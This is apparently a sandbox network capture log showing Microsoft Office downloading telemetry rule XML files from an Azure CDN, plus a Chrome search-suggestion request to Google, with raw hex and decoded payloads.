2024-11-05 09:13:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: e6dbc9be-001e-0017-395c-2e0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-158dbd74bf4fwv52hC1SN1tbkg00000003r0000000005rce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49775	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 4c090a89-b01e-0098-3360-2ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-157b9fd754ftc7cbhC1SN1xe2w0000000450000000003qcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49776	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3e16ca6e-701e-0098-184d-2e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-158dbd74bf4cvrq6hC1SN1zhyc00000003pg000000003rvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49777	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 84934087-701e-0021-808e-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-158dbd74bf48rfm8hC1SN12d1s00000000wg000000006fcy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49778	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 4bc251d2-601e-00ab-3370-2e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-157b9fd754f292rnhC1SN1u8us000000049g000000001ezk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49779	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 63ee9ccd-501e-005b-1e4b-2ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-158dbd74bf4rcgjxhC1SN1a3yn00000003ug000000000udq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49785	142.250.184.228	443	4140	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-05 09:13:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-4Rhu1edPMMQ-_f5QKMkppg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-05 09:13:30 UTC	112	IN	Data Raw: 64 35 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 65 6e 76 65 72 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 74 6f 74 61 6c 73 22 2c 22 74 68 65 20 70 65 6e 67 75 69 6e 20 65 70 69 73 6f 64 65 20 37 22 2c 22 70 6f 6b c3 a9 6d 6f 6e 20 74 63 67 20 70 6f 63 6b 65 74 20 64 65 63 6b 73 22 2c 22 64 61 6c 6c 61 73 Data Ascii: d57)]}'["",["denver weather forecast snow totals","the penguin episode 7","pokmon tcg pocket decks","dallas
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 20 6d 61 76 65 72 69 63 6b 73 20 69 6e 64 69 61 6e 61 20 70 61 63 65 72 73 22 2c 22 63 69 72 63 75 69 74 20 63 6f 75 72 74 20 34 74 68 20 64 69 73 74 72 69 63 74 22 2c 22 77 7a 6c 78 20 72 69 63 68 20 73 68 65 72 74 65 6e 6c 69 65 62 22 2c 22 73 6f 75 74 68 65 72 6e 20 74 61 75 72 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 22 2c 22 67 65 6e 65 72 61 6c 20 68 6f 73 70 69 74 61 6c 20 72 65 63 61 70 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 Data Ascii: mavericks indiana pacers","circuit court 4th district","wzlx rich shertenlieb","southern taurids meteor shower","general hospital recap"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmR
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 61 32 74 46 55 69 38 35 52 6e 5a 4c 64 31 68 43 4e 47 31 4e 51 55 68 48 55 47 4e 72 56 55 56 56 64 32 5a 51 55 45 64 76 56 46 64 54 61 30 68 6e 52 47 31 6f 56 6e 56 5a 4e 47 56 6b 56 44 4a 4a 54 55 73 7a 53 33 46 79 63 54 5a 54 51 31 46 34 64 47 64 4f 61 6b 6c 48 5a 6e 5a 59 63 30 31 32 5a 6d 64 30 5a 32 4a 52 59 31 6c 49 62 6a 46 79 56 32 70 50 55 33 56 70 54 56 70 46 53 58 64 31 4d 32 51 78 4f 45 46 50 55 43 73 77 56 48 41 78 64 45 68 78 5a 6d 46 4c 52 30 64 61 55 56 6c 5a 57 54 46 61 61 30 68 4a 64 48 52 49 52 44 55 76 59 58 4d 31 4e 33 64 4a 51 55 6c 76 53 6b 70 50 55 45 68 44 59 30 73 78 4b 33 70 4e 54 58 51 78 54 6b 78 4a 61 58 6c 52 56 46 4e 5a 4d 30 52 72 56 6c 56 49 63 47 34 77 4e 69 74 61 63 58 46 51 53 33 52 76 4e 6d 52 68 4f 45 6c 42 52 6d 70 Data Ascii: a2tFUi85RnZLd1hCNG1NQUhHUGNrVUVVd2ZQUEdvVFdTa0hnRG1oVnVZNGVkVDJJTUszS3FycTZTQ1F4dGdOaklHZnZYc012Zmd0Z2JRY1lIbjFyV2pPU3VpTVpFSXd1M2QxOEFPUCswVHAxdEhxZmFLR0daUVlZWTFaa0hJdHRIRDUvYXM1N3dJQUlvSkpPUEhDY0sxK3pNTXQxTkxJaXlRVFNZM0RrVlVIcG4wNitacXFQS3RvNmRhOElBRmp
2024-11-05 09:13:30 UTC	554	IN	Data Raw: 52 74 61 6b 52 49 4d 56 42 4a 4c 7a 5a 77 54 33 56 4a 4d 46 6c 74 54 31 4a 52 55 55 4e 53 56 48 6f 79 4d 6c 41 34 56 6d 45 76 62 47 34 33 4d 47 6f 7a 57 69 39 70 53 47 39 72 4f 47 45 34 61 32 52 69 4d 55 68 78 4f 55 73 79 4b 33 49 31 56 31 42 79 55 44 52 6d 4c 7a 6c 72 50 54 6f 56 64 33 70 73 65 43 42 79 61 57 4e 6f 49 48 4e 6f 5a 58 4a 30 5a 57 35 73 61 57 56 69 53 67 63 6a 4e 7a 55 30 4f 54 4a 6a 55 6b 4e 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 54 46 41 78 56 47 4e 33 65 6d 4e 7a 63 48 70 44 61 33 68 5a 55 46 46 54 54 47 46 66 53 33 46 57 51 57 39 35 61 33 70 50 56 55 4e 71 54 31 4e 44 4d 48 46 54 59 7a 4e 4d 65 56 56 34 54 6b 46 6e 52 46 42 6e 55 58 68 52 63 41 59 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a Data Ascii: RtakRIMVBJLzZwT3VJMFltT1JRUUNSVHoyMlA4VmEvbG43MGozWi9pSG9rOGE4a2RiMUhxOUsyK3I1V1ByUDRmLzlrPToVd3pseCByaWNoIHNoZXJ0ZW5saWViSgcjNzU0OTJjUkNnc19zc3A9ZUp6ajR0TFAxVGN3emNzcHpDa3hZUFFTTGFfS3FWQW95a3pPVUNqT1NDMHFTYzNMeVV4TkFnRFBnUXhRcAY\u003d","zl":10002},{"zl":
2024-11-05 09:13:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49786	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fa46a579-901e-0016-6a5f-2eefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-157b9fd754f26z4rhC1SN1futw00000004a00000000014u6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0386aeb1-901e-007b-0d55-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-158dbd74bf4rcgjxhC1SN1a3yn00000003r00000000034s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 8b11e52e-a01e-000d-655f-2ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-158dbd74bf4sq2b7hC1SN1zzdg00000003x0000000000su4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
